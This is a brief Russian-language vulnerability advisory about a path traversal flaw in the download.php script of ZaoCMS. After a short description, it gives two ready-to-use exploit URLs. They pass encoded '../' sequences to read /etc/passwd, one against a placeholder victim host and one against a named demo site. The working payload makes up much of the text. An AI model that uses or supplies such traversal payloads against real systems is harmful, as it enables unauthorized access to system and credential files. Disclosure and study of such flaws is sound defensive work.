Программа: ZaoCMS

Уязвимость позволяет удаленному злоумышленнику получить несанкционированный
доступ к конфиденциальной информации на целевой системе. Уязвимость существует
из-за ошибки в проверке входных данных сценарием download.php. Атакующий может
получить несанкционированный доступ к конфиденциальной информации на целевой
системе.

Эксплоит:

http://wwww.victim.co.il/admin/functions/PhpCommander/download.php?fichier=
passwd&Directory=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F

Демонстрация:

http://demo.zaocms.com/admin/functions/PhpCommander/download.php?fichier=
passwd&Directory=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F



Оставить мнение